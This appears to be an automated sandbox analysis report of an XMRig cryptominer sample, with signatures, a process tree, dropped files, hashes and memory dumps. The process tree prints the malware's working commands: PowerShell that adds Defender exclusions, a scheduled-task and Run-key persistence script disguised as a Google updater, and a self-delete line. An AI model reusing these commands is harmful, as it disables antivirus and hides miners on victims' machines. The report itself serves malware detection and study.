Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1787s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3476
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:868
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1552
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3876
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3596
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4608
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3924
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4992
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3440
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:1344
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:1228
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:2296
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1488
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4844

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 182KB
                • SHA256 b57cbda6aee61b148fe95296e127effd21bc65ef6ad1d9ef8525238797569e1a
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 981KB
                • SHA256 fcbd0a9cec656c62a2e7d926a61e11b46761be3b29452967304a8b11022052aa
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_3ovlzrnc.fsa.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ovlzrnc.fsa.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/868-36-0x00007FF71FF00000-0x00007FF720111000-memory.dmp

                memory/868-0-0x00007FF71FF00000-0x00007FF720111000-memory.dmp

                memory/1100-17-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/1100-14-0x000001A1DEE10000-0x000001A1DEE20000-memory.dmp

                memory/1100-13-0x000001A1DEE10000-0x000001A1DEE20000-memory.dmp

                memory/1100-11-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/1100-12-0x000001A1DEE10000-0x000001A1DEE20000-memory.dmp

                memory/1100-1-0x000001A1DEDE0000-0x000001A1DEE02000-memory.dmp

                memory/1488-121-0x00007FF75F7C0000-0x00007FF75F9D1000-memory.dmp

                memory/1488-53-0x00007FF75F7C0000-0x00007FF75F9D1000-memory.dmp

                memory/1552-31-0x0000022D55830000-0x0000022D55840000-memory.dmp

                memory/1552-34-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/1552-32-0x0000022D55830000-0x0000022D55840000-memory.dmp

                memory/1552-30-0x0000022D55830000-0x0000022D55840000-memory.dmp

                memory/1552-29-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/2296-125-0x00007FF7DF640000-0x00007FF7DF656000-memory.dmp

                memory/2296-132-0x00007FF7DF640000-0x00007FF7DF656000-memory.dmp

                memory/3440-141-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-159-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-187-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-185-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-183-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-181-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-179-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-177-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-175-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-173-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-171-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-169-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-167-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-165-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-163-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-161-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-157-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-155-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-153-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-151-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-123-0x0000022548D90000-0x0000022548DB0000-memory.dmp

                memory/3440-122-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-149-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-147-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-124-0x0000022549480000-0x00000225494A0000-memory.dmp

                memory/3440-145-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-126-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-127-0x00000225494A0000-0x00000225494C0000-memory.dmp

                memory/3440-128-0x00000225494C0000-0x00000225494E0000-memory.dmp

                memory/3440-130-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-131-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-143-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-133-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-134-0x00000225494A0000-0x00000225494C0000-memory.dmp

                memory/3440-135-0x00000225494C0000-0x00000225494E0000-memory.dmp

                memory/3440-137-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3440-139-0x00007FF628FD0000-0x00007FF6297C4000-memory.dmp

                memory/3924-78-0x00000235F60A0000-0x00000235F60BC000-memory.dmp

                memory/3924-79-0x00000235F6080000-0x00000235F608A000-memory.dmp

                memory/3924-81-0x00000235F6090000-0x00000235F6098000-memory.dmp

                memory/3924-77-0x00000235F5C10000-0x00000235F5C1A000-memory.dmp

                memory/3924-64-0x00000235F5920000-0x00000235F5930000-memory.dmp

                memory/3924-63-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/3924-87-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/3924-75-0x00000235F5920000-0x00000235F5930000-memory.dmp

                memory/3924-74-0x00000235F5E60000-0x00000235F5E7C000-memory.dmp

                memory/3924-82-0x00000235F60C0000-0x00000235F60C6000-memory.dmp

                memory/3924-76-0x00000235F5E80000-0x00000235F5F35000-memory.dmp

                memory/3924-83-0x00000235F60D0000-0x00000235F60DA000-memory.dmp

                memory/3924-84-0x00000235F5920000-0x00000235F5930000-memory.dmp

                memory/3924-80-0x00000235F60E0000-0x00000235F60FA000-memory.dmp

                memory/4608-48-0x000002ABF4480000-0x000002ABF4490000-memory.dmp

                memory/4608-46-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/4608-52-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/4608-47-0x000002ABF4480000-0x000002ABF4490000-memory.dmp

                memory/4992-114-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/4992-101-0x00000212E9390000-0x00000212E93A0000-memory.dmp

                memory/4992-100-0x00000212E9390000-0x00000212E93A0000-memory.dmp

                memory/4992-99-0x00007FF913B00000-0x00007FF9145C1000-memory.dmp

                memory/4992-111-0x00000212EA000000-0x00000212EA0B5000-memory.dmp

                memory/4992-112-0x00000212E9390000-0x00000212E93A0000-memory.dmp